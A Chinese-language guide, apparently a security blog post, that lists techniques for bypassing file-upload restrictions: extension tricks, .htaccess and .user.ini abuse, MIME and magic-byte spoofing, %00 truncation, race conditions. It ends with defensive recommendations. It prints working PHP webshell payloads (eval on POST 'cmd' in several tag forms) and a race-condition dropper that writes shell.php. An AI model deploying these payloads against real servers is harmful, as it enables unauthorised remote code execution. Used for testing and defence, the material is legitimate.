总结一些文件上传的绕过方法
字数 1976 2025-08-30 06:50:12
文件上传绕过技术全面指南
一、本地JS绕过方法
-
禁用JS或删除JS语句:通过浏览器设置禁用JavaScript或直接删除页面中的JS验证代码
-
后缀名修改绕过:
- 将上传文件的后缀名从
.php改为.jpg - 通过Burp Suite等工具抓包,将
.jpg改回.php
- 将上传文件的后缀名从
二、黑名单绕过技术
1. 相似后缀名绕过
| 语言 | 等价扩展名 |
|---|---|
| PHP | phtml, php2, php3, php4, php5, phps |
| ASPX | ashx, asmx, ascx |
| ASP | asa, cer, cdx |
| JSP | jspx, jspf |
2. 大小写绕过
- 适用系统:仅Windows
- 原理:匹配时区分大小写而解析时不区分
- 方法:抓包修改文件名,任意选择部分字符转换大小写
- 示例:
test.php→test.Php
- 示例:
3. 空格绕过
- 在文件名前后添加空格(主要加在后面)
- Windows特性:文件名中空格会被作为空处理
- 示例:
"test.php"、test.php "
4. 点绕过
- 在文件后缀名后添加点,如
shell.php. - 或使用空格+点号:
test.php . - 系统差异:
- Windows:最后一个点会被自动去除
- Linux:最后一个点不会被去除
5. ::$DATA绕过
- 适用系统:仅Windows
- 原理:Windows会自动去除文件后的
::$DATA字符串 - 示例:
test.php::$DATA→ 实际保存为test.php - 注意:访问时不加
::$DATA
6. 双写绕过
- 适用场景:过滤方式是删除指定字符串时
- 方法:将文件后缀名中的关键字重复写入
- 示例:
pphphp(过滤php后变为php)
- 示例:
- 防御:使用递归循环过滤而非单次过滤
三、特殊文件绕过
1. .htaccess文件绕过
-
前提条件:
- mod_rewrite模块开启
- AllowOverride All
- 中间件为Apache(不支持Nginx)
-
利用方法:
<FilesMatch "test.jpg"> SetHandler application/x-httpd-php </FilesMatch>此配置可将
test.jpg当作PHP文件解析执行
2. .user.ini文件绕过
-
前提条件:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式
- 上传目录下有可执行的PHP文件
-
利用方法:
- 创建
.user.ini文件,内容:auto_prepend_file=test.txt - 上传
.user.ini - 创建
test.txt包含Webshell代码 - 上传
test.txt - 访问上传目录下的PHP文件即可执行
- 创建
-
特点:
- 适用于Apache和Nginx
- 比
.htaccess适用范围更广
四、白名单绕过技术
1. MIME验证绕过
- 方法:修改上传文件的
Content-Type- 从
application/octet-stream改为image/png等
- 从
2. %00截断
-
条件:
- PHP版本<5.3
php.ini中magic_quotes_gpc为off
-
原理:系统遇到
0x00认为读取结束 -
示例:
test.php%00.jpg
五、文件内容检测绕过
1. 文件头检测绕过
- 方法:在数据最前面添加图片文件头
- 常见图片文件头:
- GIF:
47 49 46 38 39 61(GIF89a) - JPG/JPEG:
FF D8 FF - PNG:
89 50 4E 47 0D 0A
- GIF:
2. 二次渲染绕过
- 场景:网站对图片进行二次处理(格式、尺寸调整等)
- 方法:
- 上传正常图片
- 下载渲染后的图片进行对比
- 找到渲染前后相同的数据块
- 在相同处插入Webshell代码
六、其他绕过技术
1. 条件竞争
- 原理:利用文件上传后到删除前的时间差
- 方法:
- 上传包含以下代码的
test.php:<?php fputs(fopen("../shell.php", "w"), '<?php @eval($_POST["cmd"])?>'); ?> - 立即访问
test.php生成shell.php
- 上传包含以下代码的
2. 多文件上传绕过
- 方法:
- 第一份上传合法文件
- 第二份上传木马文件
- 原理:系统可能只检查第一份文件
3. PHP标签绕过
- 多种PHP标签形式:
<?php @eval($_POST['cmd']);?> // 正常写法 <?=@eval($_POST['cmd']);?> // 短标签 <%@eval($_POST['cmd']);%> // ASP风格 <script language='php'>@eval($_POST['cmd']);</script> // <script>风格
七、防护建议
- 文件扩展名白名单校验:只允许特定类型文件上传
- 文件内容校验:检查文件内容是否符合预期
- 上传文件重命名:避免使用用户提供的文件名
- 隐藏上传文件路径:防止直接访问上传文件
- 递归过滤:对黑名单使用循环过滤而非单次过滤
- 更新系统:保持PHP等环境最新版本
- 配置安全设置:如关闭
magic_quotes_gpc等危险选项
免责声明
本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。